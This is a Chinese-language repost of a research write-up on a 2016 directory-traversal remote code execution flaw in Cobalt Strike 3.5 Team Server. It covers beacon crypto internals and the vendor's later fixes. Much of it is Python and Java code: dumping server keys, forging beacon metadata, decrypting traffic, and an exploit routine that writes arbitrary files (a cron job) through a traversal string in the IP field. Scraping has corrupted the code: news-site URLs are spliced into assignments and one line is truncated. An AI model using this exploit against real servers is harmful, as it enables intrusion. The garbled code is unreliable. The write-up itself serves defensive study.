互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究


0x01 基本信息
这篇文章介绍了Beacons和3.5系列中的Team Server之间Cobalt Strike的一些通信和加密内部结构 。 然后 , 我们探索了从2016年起对Cobalt Strike 3.5中的漏洞的后续利用 , 以在Team Server上实现远程未经身份验证的代码执行 。
我们希望这篇文章将帮助Blue Teams进行防御检测 , 并更好地理解支持Cobalt Strike的加密基础知识 。
对于Red Team , 我们提供了一个示例 , 说明为什么加强你的Command and Control基础结构很重要 。
在Cobalt Strike中 , 修复了多个版本中存在的漏洞:
·Cobalt Strike&lt= 3.5
·Cobalt Strike 3.5-hf1(针对在野漏洞利用链的热补丁程序)
·Cobalt Strike 3.5-hf2
该漏洞由Cobalt Strike的团队于2016年披露 , 并于9月得到了积极利用 。 迅速以3.5.1的版本发布了补丁 。
0x02 从 Beacon 开始
Beacon是下载Beacon(DLL)shellcode blob的过程 , 该过程将通过较小的shellcode下载程序执行-通常是漏洞利用程序或删除程序文档的结果 。 这里的目的是解决受大小限制的漏洞利用 , 例如 , 由于缓冲区溢出或类似情况 , 你只有一定数量的空间来保存你的shellcode 。 就是说 , 从红队作战的角度来看 , 在可能的情况下 , 始终首选全阶段(也称为无阶段)有效载荷 。

默认情况下 , Cobalt Strike支持Meterpreter暂存协议 , 并通过checksum8格式公开其暂存器URL。
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

通过Checksum8检索stager
从Cobalt Strike 3.5.1开始 , 你现在还可以使用“ host_stage = false ”设置完全禁用下载 。 在此文章中讨论的漏洞的官方修补程序之后 , 此功能作为一项功能添加 。
下载暂存器shellcode后 , 在执行传递到解码的BeaconDLL之前 , 将使用自定义XOR编码器对其余的shellcode进行解码 。 所用的XOR编码器将不在本文中讨论 , 因为这是Cobalt Strike许可版本的功能 。
从暂存器Blob中提取DLL之后 , 可以使用固定的XOR密钥0x69提取Beacon设置以及公共密钥 。 这是SentinelOne团队最近发布的 , 该团队发布了CobaltStrikeParser工具 。
0x03 Cobalt Strike Beacon 的内部通信
解码并执行后 , Beacon随后需要与Team Server通信 。 在构建漏洞payload之前 , 这涉及我们需要了解的各种Cobalt Strike通信和加密内部 。
Beacon载入
每当Beacon载入时 , 它都会发送一个加密的元数据blob 。 这是使用从下载程序提取的RSA公钥加密的 。 为了帮助调试 , 你可能还希望从Team Server中转储RSA私钥 。

这可以通过在Team Server上运行以下Java代码来实现 。 私钥在名为“ .cobaltstrike.beacon_keys”的文件中序列化 , 该文件与Team Server文件位于同一文件夹中 。
要编译/运行此代码 , 你需要将你的类路径设置为cobaltstrike.jar文件(例如-cp cobaltstrike.jar)
import java.io.File
import java.util.Base64
import common.CommonUtils
import java.security.KeyPair
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys")
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null)
System.out.printf("Private Key: %s", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())))
System.out.printf("Public Key: %s", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())))
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file")
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys")
}
}
}
运行时 , 输出将如下所示:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

转储密钥

应该注意的是 , 这完全只是为了在编写漏洞利用程序时进行调试 。 在现实世界中 , 由于密钥是通过RSA安全协商的 , 而Beacon只有公共密钥 , 因此无法解密现有的 Beacon通信 。 但是 , 如果你拥有公钥(可以通过checksum8下载URL检索到) , 则可以通过伪会话对任务进行加密和解密 。
Beacon通信加密和元数据
加密 , 解密和结构
来自Beacon的元数据根据可延展的C2配置文件中的设置发送 。 这允许操作者自定义流量的各种属性 , 例如元数据blob的发送位置(例如 , 在标头或cookie中)以及如何对其进行编码 。 以下是来自Cobalt Strike博客示例 。
https://www.cobaltstrike.com/help-malleable-c2
在此示例中 , 将以Base64编码将元数据发送为名为“user”的Cookie 。
Malleable C2 Config
http-get {
set uri "/foobar"
client {
metadata {
base64
prepend "user="
header "Cookie"
}
}
以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob , 这是默认设置:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

Beacon元数据加密使用带有PKCS1填充的RSA , 以下是Python中使用暂存器公钥加密Beacon元数据的示例:
import M2Crypto
import base64
import binascii

PUBKEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----{}-----END PUBLIC KEY-----"
plaintext = "0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865"
buf = M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format("MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB"))
pubkey = M2Crypto.RSA.load_pub_key_bio(buf)
ciphertext = pubkey.public_encrypt(binascii.unhexlify(plaintext), M2Crypto.RSA.pkcs1_padding)
print (base64.b64encode(ciphertext))
解密后(使用从测试团队服务器中提取的私钥) , 元数据如下所示:
解密的元数据Blob
所有解密的元数据blob都以8字节为前缀 , 该字节必须始终存在 。 这8个字节是magic 48879(0xBEEF) , 后跟数据大小:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

Beacon元数据结构
因此 , 我们现在可以加密/解密元数据 , 现在进入解析 。
Beacon元数据解析

以下Python代码显示了如何分析来自Cobalt StrikeBeacon的元数据 。 在Cobalt Strike&lt4.0上 , 元数据字段(除了前16个字节之外)由制表符分隔的字符串组成 。 这导致IP地址被视为(未经完整性检查)字符串 , 在版本3.5中会导致目录遍历问题 。 但是 , 在更高版本上 , 使用正则表达式验证IP地址字段以确保它确实是有效的IP地址 。
请注意 , 这在Cobalt Strike 4.0中有所更改 , 其中添加了许多新字段 。 下面的代码涵盖3.5和4.0版本 。
import M2Crypto
import requests
PRIVATE_KEY_TEMPLATE = "-----BEGIN PRIVATE KEY-----{}-----END PRIVATE KEY-----"
PUBLIC_KEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----{}-----END PUBLIC KEY-----"
class Metadata(object):
"""
Class to represent a beacon Metadata object
"""
def __init__(self, data="", private_key="", public_key="", cs_version=4):
self.cs_version = cs_version
self.data = http://news.hoteastday.com/a/data
self.public_key = public_key
self.private_key = private_key
self.port = 0
self.ciphertext = ""
self.charset = ""
self.charset_oem = ""
self.ver = ""
self.intz = ""
self.comp = ""
self.user = ""
self.pid = ""
self.bid = ""
self.barch = ""
self.raw_aes_keys = ""
self.aes_key = ""
self.hmac_key = ""
self.is64 = False
self.high_integrity = False

if data and len(data) != 128:
raise AttributeError("Metadata should be 128 bytes")
if data and private_key:
self.rsa_decrypt()
self.unpack()
def calculate_aes(self):
h = hashlib.sha256(self.raw_aes_keys)
digest = h.digest()
self.aes_key = digest[0:16]
self.hmac_key = digest[16:]
def rsa_decrypt(self):
pkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY_TEMPLATE.format(self.private_key))
plaintext = pkey.private_decrypt(self.data, M2Crypto.RSA.pkcs1_padding)
assert plaintext[0:4] == "x00x00xBExEF"
self.data = http://news.hoteastday.com/a/StringIO.StringIO(plaintext[8:])
def readInt(self, byteorder="&gt"):
fmt = byteorder + "L"
return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
def readShort(self, byteorder="&gt"):
fmt = byteorder + "H"
return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
def readByte(self):
fmt = "b"
return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
def flag(self, b, s):
return b &amp s == s
def print_config(self):
print "raw AES key: %s" % self.raw_aes_keys[0:8].encode("hex")
print "raw HMAC key: %s" % self.raw_aes_keys[8:].encode("hex")
print "AES key: %s" % self.aes_key.encode("hex")
print "HMAC key: %s" % self.hmac_key.encode("hex")
print "ver: %s" % self.ver
print "host: %s" % self.intz

print "computer: %s" % self.comp
print "user: %s" % self.user
print "pid: %s" % self.pid
print "id: %s" % self.bid
print "barch: %s" % self.barch
print "is64: %s" % self.is64
if self.cs_version &gt 3:
print "charset: %s" % self.charset
print "port: %s" % self.port
def unpack(self):
self.data.seek(0)
self.raw_aes_keys = self.data.read(16)
self.calculate_aes()
if self.cs_version &lt 4:
config = self.data.read().split(" ")
self.bid = config[0]
self.pid = config[1]
self.ver = config[2]
self.intz = config[3]
self.comp = config[4]
self.user = config[5]
self.is64 = config[6]
if config[7] == "1":
self.barch = "x64"
else:
self.barch = "x86"
return
self.charset = self.readShort("
self.charset_oem = self.readShort("
self.bid = self.readInt()
self.pid = self.readInt()
self.port = self.readShort()
b = self.readByte()
if self.flag(b, 1):
self.barch = ""
self.pid = ""
self.is64 = ""
elif self.flag(b, 2):
self.barch = "x64"
else:
self.barch = "x86"
self.is64 = int(self.flag(b, 4))
self.high_integrity = self.flag(b, 8)
self.ver, self.intz, self.comp, self.user, self.proc = self.data.read().split(" ")
当解析器在解密的元数据blob上运行时 , 将产生以下输出:

互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

元数据解析
现在 , 我们有足够的信息来生成和加密我们自己的元数据 。
对称加密
Cobalt Strike使用CBC模式下的AES-256和HMAC-SHA-256进行任务加密 。 对于存在该漏洞的Cobalt Strike版本 , 该版本已包含在试用版中 , 但是从3.6版开始 , 在未经许可的Cobalt Strike版本中不再启用此功能 。 这意味着 , 对于受害者使用的某些Cobalt Strike破解版或试用版 , 网络通信将以明文形式发送 。 但是 , 当我们查看3.6之前的版本时 , 始终启用任务加密 。
解析完元数据后 , Team Server将通过检查元数据中指定的AES密钥是否已经为BeaconID值注册(也从元数据中进行了解析)来检查该Beacon是否是新的Beacon 。
如果先前未为BeaconID注册任何AES密钥 , 则它将继续并为Beacon会话设置AES密钥 。 这是通过获取解密的Beacon元数据的前16个字节来实现的 。 通过计算SHA256总和以创建256位密钥 , 将其前半部分(8个字节)用于导出AES密钥 。 下半部分用作HMAC密钥也是如此 。 你可能已经在上面的输出中注意到了这些解析 。 这些密钥可用于任务加密和解密 。
以下Python脚本显示了AES加密/解密的工作方式 。
import hashlib
import hmac
import binascii
import base64
import sys
import struct

from Crypto.Cipher import AES
HASH_ALGO = hashlib.sha256
SIG_SIZE = HASH_ALGO().digest_size
class AuthenticationError(Exception):
pass
def compare_mac(mac, mac_verif):
if len(mac) != len(mac_verif):
print "invalid MAC size"
return False
result = 0
for x, y in zip(mac, mac_verif):
result |= ord(x) ^ ord(y)
return result == 0
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, HASH_ALGO).digest()[0:16], signature):
raise AuthenticationError("message authentication failed")
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = http://news.hoteastday.com/a/cypher.decrypt(encrypted_data)
return data
def readInt(buf):
return buf[4:], struct.unpack("&gtL", buf[0:4])[0]
if __name__ == "__main__":
SHARED_KEY = binascii.unhexlify("441bbd3de3d52997298a8625def8f40c")
HMAC_KEY = binascii.unhexlify("1ede48669d4346c0b0cf2ca15e498c10")
with open(sys.argv[1], "rb") as f:
enc_data = http://news.hoteastday.com/a/f.read()
signature = enc_data[-16:]
iv_bytes = bytes("abcdefghijklmnop")
encrypted_data = http://news.hoteastday.com/a/enc_data[:-16]
dec = decrypt(encrypted_dat
Beacon任务

到目前为止 , 我们已经介绍了分段 , 元数据 , 载入 , 非对称(RSA)和对称(AES)加密 。 现在 , 我们可以暂存假Beacon , 并解密从Team Server发送到Beacon的任务 。 接下来 , 我们将介绍如何将Beacon输出解密/加密回Team Server 。
Beacon载入后(通过在请求中包括我们先前覆盖的加密元数据) , 如果Team Server拥有Beacon任务 , 它将以加密响应的形式发送 。 如前所述 , 这是使用协商的AES会话密钥解密的 。
对任务分配的反应是什么样的?简而言之 , 该响应也以与从服务器发送任务相同的方式用AES加密 , 但是Beacon响应数据前面带有一个长度字段 。
以下图片显示了Beacon响应“ ps”任务发送的加密数据的示例:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

加密回包响应
解密数据后 , 我们可以看到它前面有12个字节 , 表示输出的各种属性 。
00 00 00 02
00 00 0D 1B
00 00 00 11
5B 53 79 73
74 65 6D 20
以下python代码显示了如何解密和解码Beacon输出
# NOTE: insert decryption functions
if __name__ == "__main__":
SHARED_KEY = binascii.unhexlify("bca4caea1b3172aa979a5eac6c813184")
HMAC_KEY = binascii.unhexlify("94b64efcf87b13c6828bcf14373bb2f9")
with open(sys.argv[1], "rb") as f:
enc_data = http://news.hoteastday.com/a/f.read()

encrypted_data, data_length = readInt(enc_data)
print "Encrypted data should be: %d" % data_length
signature = encrypted_data[-16:]
iv_bytes = "abcdefghijklmnop"
encrypted_data = http://news.hoteastday.com/a/encrypted_data[:-16]
dec = decrypt(encrypted_data, iv_bytes, signature, SHARED_KEY, HMAC_KEY)
dec, counter = readInt(dec)
dec, decrypted_length = readInt(dec)
dec, output_type = readInt(dec)
print "Decrypted length: %s" % decrypted_length
print "Output type: %d" % output_type
print "Beacon data: %s" % dec
运行以下代码将解密输出 , 并显示“ ps”命令的结果:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

解密Beacon输出
因此 , 在这一点上 , 我们可以提取所需的密钥 , 对通信进行加密和解密 , 以进行漏洞利用 。
0x04 漏洞分析
该漏洞本身是Beacon内部IP地址中的目录遍历漏洞 , 该漏洞用于构建文件路径 。
https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/

在处理“下载”响应时 , Team Server将通过在工作目录内“ downloads”文件夹下的Team Server文件系统上重新创建目标系统路径 , 将这些响应写入文件系统 。 以下截图显示了通常情况下的示例 。 如图所示 , 下载的文件存储在以Beacon IP地址命名的文件夹中 。 在此文件夹中是下载文件的重新创建的文件系统结构 。
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

CS 3.5 download文件夹
尽管对文件名本身进行了遍历检查 , 但并未检查IP地址字段 , 这是由于IP地址字段中存在目录遍历漏洞 , 正如我们之前所演示的那样 , 该漏洞是在Beacon元数据中设置并由攻击者控制的 。
因此 , 我们不再报告截至10.133.37.10的Beacon IP地址 , 而是将其报告为目标文件夹 , 例如../../../../etc/ 。
注意:易受攻击的代码使用IP地址值在其他各个地方(包括写入日志文件)构建文件路径 。 尽管日志文件投毒绝对是一个可利用的方法 , 但我们选择使用与流行的利用相同的方法 。
0x05 漏洞利用开发
通常针对基于Linux的服务器使用文件系统写入原语 , 这为我们提供了多种利用方式 。 我们复制了在野利用开发中使用的相同技术 , 即:
·使用内部IP地址为../../../../../[TARGET_FOLDER]/的Beacon载入

·然后执行DOWNLOAD_START *回调 , 该回调导致文件被创建
·然后执行DOWNLOAD_WRITE *回调 , 使内容被写入
可能不是官方术语 , 但是我们将在此处使用这些术语来指代任务响应类型 。 其中 , DOWNLOAD_START是来自“下载”任务的初始响应(这将导致在文件系统上创建文件) , 而DOWNLOAD_WRITE是包含要为下载任务写入的数据的响应 。
但是 , 在执行此操作之前 , 我们需要了解DOWNLOAD_START和DOWNLOAD_WRITE回调的结构 。 如前所述 , 我们知道这些文件是AES加密的 , 带有加密长度 , 并且一旦解密就具有计数器和长度 。 但是解密后的数据的结构是什么?下面对此进行说明 。
DOWNLOAD_START回调结构 。
该任务的回调类型为2 , 解密的回调结构如下:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

DOWNLOAD_WRITE回调结构
该任务的回调类型为8 , 解密的回调结构如下:
互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

为了真正实现代码执行 , 我们像在在野攻击一样编写了一个cronjob 。 通常 , 这将涉及在元数据Blob和任务回调中发送以下值:

互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究
本文插图

假设我们已经编写了用于构建元数据blob(具有IP地址遍历字符串)和选择的AES密钥的函数 。 我们可以伪造Beacon , 并使用我们精心制作的值检入DOWNLOAD_START和DOWNLOAD_WRITE回调 。 示例代码如下:
# First we need to register a beacon with a directory traversal in the ip address field
ip_address = "../../../../../../%s" % os.path.split(args.filepath)[0]
# Generate symmetric keys (used later)
raw_aes_keys = os.urandom(16)
aes_key, hmac_key = generate_keys(raw_aes_keys)
m = Metadata(public_key=args.public_key, cs_version=3)
m.public_key = args.public_key
m.bid = args.bid
m.pid = args.pid
m.ver = "10.0"
m.intz = ip_address
m.comp = args.computer
m.user = args.username
m.is64 = "1" # 64-bit OS
m.barch = "1" # 64-bit beacon
m.raw_aes_keys = raw_aes_keys
m.calculate_aes()
enc = m.pack()
# register the beacon
print "[*] Staging beacon .."
register_beacon(enc, args.target, args.uri, args.host, args.ssl)
# Now we need to push a DOWNLOAD_START response to cause a file write
print "[*] Creating file .."
data, fid = build_download_task(os.path.split(args.filepath)[1], aes_key, hmac_key)
# Send it to the server. This is the equivalent of touch(filepath)

# submit.php should be replaced with malleable C2 setting if applicable
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
# Build another task which is going to write the data to the touched file
# We force the counter to be higher than the last task to avoid replay protection
print "[*] Sending data .."
data = http://news.hoteastday.com/a/build_download_data(args.filedata, fid, aes_key, hmac_key, counter()+100)
# Fire it..
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
print "[+] Done!"
以下视频演示了该漏洞的利用效果:
https://videos.files.wordpress.com/8DjSHoub/cs-3-5-exploit_dvd.mp4
0x06 缓解措施
如Cobalt Strike的后续帖子所述 , 在3.5.1中添加了以下修复程序
·引入了一个新的SafeFile方法 , 该方法将应写入文件的路径作为第一个参数 , 并将要写入的文件名作为第二个参数 。 随后 , 它确保在规范化之后 , 文件不会脱离在第一个参数中传递的规范化路径 。 在执行文件写入的任何地方都将使用此新方法 , 包括写入日志文件和截图 。

·添加了host_stage可延展的C2配置设置 。 设置为false时 , 这将完全禁用payload下载 , 这意味着你的Team Server将不会通过checksum8 URL托管下载器 。 每当不需要payload分段时都应使用此方法 , 但是应注意 , 这可能会破坏你可能习惯的某些利用后工作流程 。
·现在 , 使用ID值将下载存储在文件系统上 。 这映射到数据模型中的实际文件路径 , 这是通过Cobalt Strike GUI访问“下载”选项卡时看到的 。
·现在 , 在允许来自Beacon的大多数回调响应之前 , Team Server会至少检查一次Beacon任务 。 这样可以确保攻击者在操作者未与Beacon进行交互之前就无法伪造Beacon并开始欺骗响应 。
·根据正则表达式对在Beacon元数据中报告的IP地址值进行完整性检查 , 以确保它实际上是IP地址 。
总而言之 , 3.5.1更新中应用的修复程序很健壮 , 可以从多个角度修补漏洞 。 如文章开始所述 , 此漏洞在旧 版本的Cobalt Strike中存在 , 而在最新版本中不存在 。 尽管如此 , 我们希望这篇文章对Cobalt Strike内部有一定的了解 , 并为蓝队和红队提供了改善与真正对手的战斗的机会 。
【互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究】


    推荐阅读